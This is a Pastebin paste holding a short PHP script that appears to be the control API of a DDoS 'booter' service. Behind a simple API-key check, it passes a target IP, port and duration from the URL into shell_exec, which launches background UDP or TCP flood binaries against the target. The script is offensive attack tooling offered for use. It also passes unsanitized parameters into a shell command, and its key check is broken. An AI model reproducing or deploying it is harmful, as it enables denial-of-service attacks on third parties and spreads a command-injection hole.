oppose

api

May 31st, 2016
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $keys = array('yourkey', 'anotherkey');
  4. if(!in_array($keys, $_GET['key'])){
  5. die("Incorrect API key!");
  6. }
  7. class attack{
  8. public function udp(){
  9. if(preg_match("/[a-z]/i", $_GET['ip'])){
  10. die("Letters are forbidden!");
  11. }
  12. shell_exec("screen -dm ./udp " . $_GET['ip'] . " " . $_GET['port'] . " " . $_GET['time'] . " 6500 100");
  13. }
  14. public function tcp(){
  15. if(preg_match("/[a-z]/i", $_GET['ip'])){
  16. die("Letters are forbidden!");
  17. }
  18. shell_exec("screen -dm ./tcp " . $_GET['ip'] . " " . $_GET['port'] . " " . $_GET['time'] . " 6500 100");
  19. }
  20. }
  21. $attack = new attack();
  22. if(isset($_GET['ip'])){
  23. if($_GET['ip'] == null){
  24. die("IP was empty");
  25. }
  26. if($_GET['port'] == null){
  27. die("Port was empty");
  28. }
  29. if($_GET['time'] == null){
  30. die("Time was empty");
  31. }
  32. if($_GET['method'] == null){
  33. die("IP was empty");
  34. }
  35. switch($_GET['method']){
  36. case 'udp':
  37. $attack->udp();
  38. break;
  39. case 'tcp':
  40. $attack->tcp();
  41. break;
  42. }
  43. }
  44. ?>
Add Comment
Please, Sign In to add comment